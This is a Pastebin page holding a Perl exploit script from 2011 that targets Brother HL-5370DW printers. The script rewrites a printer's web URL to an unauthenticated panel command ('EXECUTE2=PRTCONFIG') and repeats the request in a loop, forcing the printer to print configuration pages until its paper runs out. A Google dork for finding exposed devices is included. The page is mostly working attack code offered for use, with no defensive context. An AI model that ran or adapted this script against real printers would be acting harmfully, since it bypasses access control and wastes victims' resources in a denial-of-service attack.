Advertisement
Xylitol

Brother HL-5370DW series auth bypass printer flooder

May 31st, 2011
616
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.94 KB | None | 0 0
  1. # Exploit Title: Brother HL-5370DW series auth bypass printer flooder
  2. # Google Dork: Copyright(C) 2000-2009 Brother Industries, Ltd. All Rights Reserved. Brother HL-5370DW series
  3. # Date: 31/05/2011
  4. # Author: chrisB
  5. # Contact : chrisb [@) gmx.fr
  6. # Version: Brother HL-5370DW series
  7.  
  8. #!/usr/bin/perl
  9. use LWP::Simple;
  10.  
  11. usage() unless $ARGV[1];
  12.  
  13. $replace = 'post/panel.html?EXECUTE2=PRTCONFIG';
  14. $hint = $ARGV[1];
  15. $goodurl = $ARGV[0];
  16. $success = 0;
  17. $goodurl =~ s/main.html/$replace/;
  18.  
  19.  for ($count = $hint + 1; $count >= 1; $count--) {
  20.         $contents = get($goodurl);
  21.  
  22.     if($contents =~ m/acknowledged/i)
  23.     {
  24.         $success++;
  25.         print "success\n";
  26.     }
  27.     else
  28.     {
  29.         print "error, busy or no more paper\n";
  30.     }
  31.  }
  32.  print "pages printed : $success \r\n";
  33.    
  34. sub usage
  35. {
  36.  print qq( Brother HL-5370DW series auth bypass printer flooder
  37.        
  38. Usage: perl $0 [http://url.fr/printer/main.html] [hints]
  39.                  
  40. )   and exit;
  41. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement